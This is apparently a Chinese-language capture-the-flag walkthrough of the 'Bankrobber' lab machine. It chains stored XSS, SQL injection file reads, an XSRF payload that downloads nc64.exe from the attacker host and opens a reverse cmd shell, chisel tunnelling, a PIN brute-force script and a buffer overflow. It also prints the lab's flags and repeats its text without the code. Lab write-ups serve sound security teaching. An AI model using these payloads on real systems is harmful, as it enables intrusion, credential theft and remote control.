[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲区溢出
字数 1043 2025-08-19 12:41:26

Bankrobber 渗透测试教学文档

1. 信息收集阶段

1.1 目标扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.154 --min-rate 1000 -sC -sV -Pn

发现开放端口:

  • 80/tcp: HTTP (Apache 2.4.39, PHP 7.3.4)
  • 443/tcp: HTTPS (自签名证书)
  • 445/tcp: SMB (Windows 7-10)
  • 3306/tcp: MySQL (MariaDB, 未授权)

系统信息:

  • 主机名: BANKROBBER
  • 操作系统: Windows
  • Web服务器: Apache 2.4.39 (Win64) with OpenSSL/1.1.1b PHP/7.3.4

2. Web应用漏洞利用

2.1 XSS-MDOG攻击

  1. 注册普通用户
  2. 转账功能存在XSS漏洞,可在comment字段注入恶意脚本

攻击载荷示例:

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
Content-Type: application/x-www-form-urlencoded
Cookie: id=3; username=dGVzdA%3D%3D; password=test

fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/test.js"></script>

使用MDOG工具获取管理员cookie:

wine MDOG.exe

解码获取的管理员凭证:

echo YWRtaW4= | base64 -d  # admin
echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d  # Hopelessromantic

2.2 SQL注入攻击

  1. 发现字符型注入漏洞,使用2'-'1确认注入存在
  2. 信息收集:
1' order by 3 --  # 判断字段数
-1' union select 1,@@version,3 --  # 获取数据库版本
-1' union select 1,load_file('C:/Windows/win.ini'),3 --  # 文件读取
  1. 读取网站文件:
-1' union select 1,to_base64(load_file('c:/xampp/htdocs/index.php')),3 --
  1. 尝试写文件(无权限):
-1' union select 1, 'hello', 3 into outfile 'c:/xampp/htdocs/test.php' --

2.3 本地RCE利用

  1. 读取后台文件发现RCE漏洞:
-1' union select 1,to_base64(load_file('c:/xampp/htdocs/admin/backdoorchecker.php')),3 --

backdoorchecker.php关键代码分析:

<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array(...); // 过滤危险字符
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){ 
    $good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){ 
    if(isset($_POST['cmd'])){
        // 过滤危险字符
        foreach($bad as $char){
            if(strpos($_POST['cmd'],$char) !== false){
                die("You're not allowed to do that.");
            }
        }
        // 检查命令是否以"dir"开头
        if(substr($_POST['cmd'], 0,strlen($good)) != $good){
            die("It's only allowed to use the $good command");
        }
        // 仅允许本地访问
        if($_SERVER['REMOTE_ADDR'] == "::1"){
            system($_POST['cmd']);
        } else{
            echo "It's only allowed to access this function from localhost (::1).";
        }
    }
} else{
    echo "You are not allowed to use this function!";
}
?>
  1. 结合XSS+XSRF实现RCE:
// index.js
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.24/nc64.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.16.24 10032';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);
  1. 触发XSS载荷:
POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
Content-Type: application/x-www-form-urlencoded
Cookie: id=3; username=dGVzdA%3D%3D; password=test

fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/index.js"></script>

3. 权限提升

3.1 端口转发

发现内部端口910运行转账模拟应用,使用chisel进行端口转发:

# 攻击机
/usr/bin/chisel server -port 10000 --reverse

# 目标机
%TEMP%/chisel.exe client 10.10.16.24:10000 R:910:localhost:910

3.2 PIN码爆破

编写Python脚本爆破PIN码:

#!/usr/bin/env python3
import socket
import sys

for i in range(10000):
    sys.stdout.write(f"\rTrying: {i:04d}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 910))
    s.recv(4096)
    s.send(f"{i:04d}\n".encode())
    resp = s.recv(4096)
    if not b"Access denied" in resp:
        print(f"\rFound pin: {i:04d}")
        break
    s.close()

成功获取PIN码:0021

3.3 缓冲区溢出利用

  1. 识别缓冲区溢出点:
  • 输入长字符串导致地址改变
  • 使用Metasploit模式字符串确定偏移量
  1. 生成测试模式:
msf-pattern_create -l 100
  1. 计算偏移量:
msf-pattern_offset -q 0Ab1

确定偏移量为32字节

  1. 验证偏移量:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwhoami

成功执行命令,显示当前用户为Cortin

4. 获取Flag

  • User Flag: 70e06a7bd26c92f93c4ebdb87ed89144
  • Root Flag: c3ce23d0cb59f405c1acbc37499c151e

5. 关键总结

  1. 漏洞链利用顺序:

    • XSS窃取管理员凭证
    • SQL注入读取敏感文件
    • 发现受限RCE功能
    • 通过XSS+XSRF绕过RCE限制
    • 端口转发访问内部服务
    • PIN码爆破+缓冲区溢出提权
  2. 关键技术点:

    • 基于Cookie的Base64认证机制
    • 受限的RCE功能设计缺陷
    • 本地服务的安全边界问题
    • 缓冲区溢出漏洞利用
  3. 防御建议:

    • 输入输出严格过滤
    • 最小权限原则
    • 敏感功能增加二次认证
    • 代码审计和安全测试
    • 及时更新和修补漏洞
Bankrobber 渗透测试教学文档 1. 信息收集阶段 1.1 目标扫描 使用Nmap进行端口扫描: 发现开放端口: 80/tcp: HTTP (Apache 2.4.39, PHP 7.3.4) 443/tcp: HTTPS (自签名证书) 445/tcp: SMB (Windows 7-10) 3306/tcp: MySQL (MariaDB, 未授权) 系统信息: 主机名: BANKROBBER 操作系统: Windows Web服务器: Apache 2.4.39 (Win64) with OpenSSL/1.1.1b PHP/7.3.4 2. Web应用漏洞利用 2.1 XSS-MDOG攻击 注册普通用户 转账功能存在XSS漏洞,可在comment字段注入恶意脚本 攻击载荷示例: 使用MDOG工具获取管理员cookie: 解码获取的管理员凭证: 2.2 SQL注入攻击 发现字符型注入漏洞,使用 2'-'1 确认注入存在 信息收集: 读取网站文件: 尝试写文件(无权限): 2.3 本地RCE利用 读取后台文件发现RCE漏洞: backdoorchecker.php关键代码分析: 结合XSS+XSRF实现RCE: 触发XSS载荷: 3. 权限提升 3.1 端口转发 发现内部端口910运行转账模拟应用,使用chisel进行端口转发: 3.2 PIN码爆破 编写Python脚本爆破PIN码: 成功获取PIN码:0021 3.3 缓冲区溢出利用 识别缓冲区溢出点: 输入长字符串导致地址改变 使用Metasploit模式字符串确定偏移量 生成测试模式: 计算偏移量: 确定偏移量为32字节 验证偏移量: 成功执行命令,显示当前用户为 Cortin 4. 获取Flag User Flag: 70e06a7bd26c92f93c4ebdb87ed89144 Root Flag: c3ce23d0cb59f405c1acbc37499c151e 5. 关键总结 漏洞链利用顺序: XSS窃取管理员凭证 SQL注入读取敏感文件 发现受限RCE功能 通过XSS+XSRF绕过RCE限制 端口转发访问内部服务 PIN码爆破+缓冲区溢出提权 关键技术点: 基于Cookie的Base64认证机制 受限的RCE功能设计缺陷 本地服务的安全边界问题 缓冲区溢出漏洞利用 防御建议: 输入输出严格过滤 最小权限原则 敏感功能增加二次认证 代码审计和安全测试 及时更新和修补漏洞